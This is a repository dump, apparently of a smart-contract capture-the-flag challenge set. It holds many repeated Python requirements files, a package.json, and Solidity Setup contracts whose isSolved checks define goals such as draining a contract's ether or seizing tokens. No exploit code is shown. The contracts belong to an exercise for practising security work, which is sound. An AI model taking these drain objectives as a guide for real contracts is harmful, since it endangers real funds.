Setup { 12 | ChallengeInterface public challenge; 13 | 14 | constructor() public payable { 15 | require(msg.value == 50 ether); 16 | 17 | challenge = ChallengeInterface(address(new Challenge(990, 1010))); 18 | challenge.buyTokens{value: msg.value}(); 19 | } 20 | 21 | function isSolved() public view returns (bool) { 22 | return challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD && 23 | challenge.balanceOf(address(this)) == 0 && 24 | address(challenge).balance == 0; 25 | } 26 | } -------------------------------------------------------------------------------- /problems/babyrev/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/bank/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/bouncer/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/broker/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/farmer/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/hello/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/jop/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/lockbox/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/market/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/rever/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/secure/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/secure/public/solution/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "secure", 3 | "version": "1.0.0", 4 | "license": "MIT", 5 | "devDependencies": { 6 | "@nomiclabs/hardhat-ethers": "^2.0.1", 7 | "@nomiclabs/hardhat-etherscan": "^2.1.1", 8 | "@nomiclabs/hardhat-waffle": "^2.0.1", 9 | "@openzeppelin/contracts": "^3.4.0-solc-0.7", 10 | "@types/chai": "^4.2.14", 11 | "@types/mocha": "^8.2.0", 12 | "@types/node": "^14.14.25", 13 | "chai": "^4.3.0", 14 | "ethereum-waffle": "^3.2.2", 15 | "ethers": "^5.0.28", 16 | "hardhat": "^2.0.8", 17 | "hardhat-gas-reporter": "^1.0.4", 18 | "prettier": "^2.2.1", 19 | "prettier-plugin-solidity": "^1.0.0-beta.3", 20 | "solhint": "^3.3.2", 21 | "solhint-plugin-prettier": "^0.0.5", 22 | "solidity-coverage": "^0.7.14", 23 | "ts-node": "^9.1.1", 24 | "typescript": "^4.1.3" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /problems/swap/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/upgrade/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/vault/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/babysandbox/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /problems/yield_aggregator/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==20.3.0 2 | base58==2.0.1 3 | bitarray==1.2.2 4 | certifi==2020.12.5 5 | chardet==4.0.0 6 | click==7.1.2 7 | cytoolz==0.11.0 8 | eth-abi==2.1.1 9 | eth-account==0.5.4 10 | eth-hash==0.2.0 11 | eth-keyfile==0.5.1 12 | eth-keys==0.3.3 13 | eth-rlp==0.2.1 14 | eth-typing==2.2.2 15 | eth-utils==1.9.5 16 | Flask==1.1.2 17 | Flask-Cors==3.0.9 18 | gunicorn==20.0.4 19 | hexbytes==0.2.1 20 | idna==2.10 21 | ipfshttpclient==0.7.0a1 22 | itsdangerous==1.1.0 23 | Jinja2==2.11.2 24 | jsonschema==3.2.0 25 | lru-dict==1.1.6 26 | MarkupSafe==1.1.1 27 | multiaddr==0.0.9 28 | netaddr==0.8.0 29 | parsimonious==0.8.1 30 | protobuf==3.14.0 31 | pycryptodome==3.9.9 32 | pyrsistent==0.17.3 33 | requests==2.25.1 34 | rlp==2.0.1 35 | six==1.15.0 36 | toolz==0.11.1 37 | urllib3==1.26.2 38 | varint==1.0.2 39 | web3==5.13.1 40 | websockets==8.1 41 | Werkzeug==1.0.1 42 | -------------------------------------------------------------------------------- /contracts/bouncer/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./Bouncer.sol"; 4 | 5 | interface WETH9 is ERC20Like { 6 | function deposit() external payable; 7 | } 8 | 9 | contract Setup { 10 | address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; 11 | WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 12 | Bouncer public bouncer; 13 | Party public party; 14 | 15 | constructor() payable { 16 | require(msg.value == 100 ether); 17 | // give some cash to the bouncer for his drinks 18 | bouncer = new Bouncer{value: 50 ether}(); 19 | 20 | // 2 * eth 21 | bouncer.enter{value: 1 ether}(address(weth), 10 ether); 22 | bouncer.enter{value: 1 ether}(ETH, 10 ether); 23 | 24 | party = new Party(bouncer); 25 | } 26 | 27 | function isSolved() public view returns (bool) { 28 | return address(bouncer).balance == 0; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /problems/bouncer/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./Bouncer.sol"; 4 | 5 | interface WETH9 is ERC20Like { 6 | function deposit() external payable; 7 | } 8 | 9 | contract Setup { 10 | address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; 11 | WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 12 | Bouncer public bouncer; 13 | Party public party; 14 | 15 | constructor() payable { 16 | require(msg.value == 100 ether); 17 | // give some cash to the bouncer for his drinks 18 | bouncer = new Bouncer{value: 50 ether}(); 19 | 20 | // 2 * eth 21 | bouncer.enter{value: 1 ether}(address(weth), 10 ether); 22 | bouncer.enter{value: 1 ether}(ETH, 10 ether); 23 | 24 | party = new Party(bouncer); 25 | } 26 | 27 | function isSolved() public view returns (bool) { 28 | return address(bouncer).balance == 0; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /contracts/secure/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.12; 2 | 3 | import "./Wallet.sol"; 4 | 5 | contract WETH9 is ERC20Like { 6 | function deposit() public payable; 7 | } 8 | 9 | contract Setup { 10 | WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 11 | uint public constant WANT = 50 ether; 12 | 13 | Wallet public wallet; 14 | 15 | constructor() public payable { 16 | require(msg.value == WANT); 17 | 18 | address tokenModule = address(new TokenModule()); 19 | 20 | wallet = new Wallet(); 21 | wallet.allowModule(tokenModule); 22 | 23 | WETH.deposit.value(msg.value)(); 24 | WETH.approve(address(wallet), uint(-1)); 25 | 26 | wallet.execModule(tokenModule, abi.encodeWithSelector(TokenModule(0x00).deposit.selector, WETH, address(this), msg.value)); 27 | } 28 | 29 | function isSolved() public view returns (bool) { 30 | return WETH.balanceOf(address(this)) == WANT; 31 | } 32 | } -------------------------------------------------------------------------------- /problems/secure/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.12; 2 | 3 | import "./Wallet.sol"; 4 | 5 | contract WETH9 is ERC20Like { 6 | function deposit() public payable; 7 | } 8 | 9 | contract Setup { 10 | WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 11 | uint public constant WANT = 50 ether; 12 | 13 | Wallet public wallet; 14 | 15 | constructor() public payable { 16 | require(msg.value == WANT); 17 | 18 | address tokenModule = address(new TokenModule()); 19 | 20 | wallet = new Wallet(); 21 | wallet.allowModule(tokenModule); 22 | 23 | WETH.deposit.value(msg.value)(); 24 | WETH.approve(address(wallet), uint(-1)); 25 | 26 | wallet.execModule(tokenModule, abi.encodeWithSelector(TokenModule(0x00).deposit.selector, WETH, address(this), msg.value)); 27 | } 28 | 29 | function isSolved() public view returns (bool) { 30 | return WETH.balanceOf(address(this)) == WANT; 31 | } 32 | } -------------------------------------------------------------------------------- /problems/jop/public/contracts/Context.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.6; 2 | 3 | /* 4 | * @dev Provides information about the current execution context, including the 5 | * sender of the transaction and its data. While these are generally available 6 | * via msg.sender and msg.data, they should not be accessed in such a direct 7 | * manner, since when dealing with GSN meta-transactions the account sending and 8 | * paying for execution may not be the actual sender (as far as an application 9 | * is concerned). 10 | * 11 | * This contract is only required for intermediate, library-like contracts. 12 | */ 13 | abstract contract Context { 14 | function _msgSender() internal view virtual returns (address payable) { 15 | return msg.sender; 16 | } 17 | 18 | function _msgData() internal view virtual returns (bytes memory) { 19 | this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 20 | return msg.data; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /problems/vault/public/contracts/GuardRegistry.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.16; 2 | 3 | import "./Guard.sol"; 4 | 5 | contract GuardRegistry { 6 | mapping(bytes32 => address) public implementations; 7 | 8 | address public owner; 9 | 10 | bytes32 public defaultImplementation; 11 | 12 | function GuardRegistry() public { 13 | owner = msg.sender; 14 | } 15 | 16 | // register a new guard implementation, optionally setting it to the default 17 | function registerGuardImplementation(address impl, bool def) public { 18 | require(msg.sender == owner); 19 | 20 | bytes32 id = GuardIdGetter(impl).id(); 21 | 22 | implementations[id] = impl; 23 | if (def) { 24 | defaultImplementation = id; 25 | } 26 | } 27 | 28 | // transfer ownership to a new address 29 | function transferOwnership(address newOwner) public { 30 | require(msg.sender == owner); 31 | 32 | owner = newOwner; 33 | } 34 | } -------------------------------------------------------------------------------- /problems/upgrade/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.6.12; 2 | 3 | import "./FiatTokenV3.sol"; 4 | 5 | abstract contract ERC20Like { 6 | function balanceOf(address user) external virtual view returns (uint); 7 | } 8 | 9 | abstract contract FiatTokenProxyLike is ERC20Like { 10 | function changeAdmin(address newAdmin) external virtual; 11 | 12 | function upgradeTo(address newImplementation) external virtual; 13 | } 14 | 15 | contract Setup { 16 | FiatTokenProxyLike private constant USDC = FiatTokenProxyLike(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 17 | 18 | function upgrade() external { 19 | FiatTokenV3 v3 = new FiatTokenV3(); 20 | v3.initialize("", "", "", 0, address(0x01), address(0x01), address(0x01), address(0x01)); 21 | v3.initializeV2(""); 22 | v3.initializeV3(); 23 | 24 | USDC.upgradeTo(address(v3)); 25 | USDC.changeAdmin(0x807a96288A1A408dBC13DE2b1d087d10356395d2); 26 | FiatTokenV3(address(USDC)).initializeV3(); 27 | } 28 | 29 | function isSolved() external view returns (bool) { 30 | return USDC.balanceOf(address(this)) > 200_000_000e6; 31 | } 32 | } -------------------------------------------------------------------------------- /contracts/upgrade/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.6.12; 2 | 3 | import "./FiatTokenV3.sol"; 4 | 5 | abstract contract ERC20Like { 6 | function balanceOf(address user) external view virtual returns (uint256); 7 | } 8 | 9 | abstract contract FiatTokenProxyLike is ERC20Like { 10 | function changeAdmin(address newAdmin) external virtual; 11 | 12 | function upgradeTo(address newImplementation) external virtual; 13 | } 14 | 15 | contract Setup { 16 | FiatTokenProxyLike private constant USDC = 17 | FiatTokenProxyLike(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 18 | 19 | function upgrade() external { 20 | FiatTokenV3 v3 = new FiatTokenV3(); 21 | v3.initialize("", "", "", 0, address(0x01), address(0x01), address(0x01), address(0x01)); 22 | v3.initializeV2(""); 23 | v3.initializeV3(); 24 | 25 | USDC.upgradeTo(address(v3)); 26 | USDC.changeAdmin(0x807a96288A1A408dBC13DE2b1d087d10356395d2); 27 | 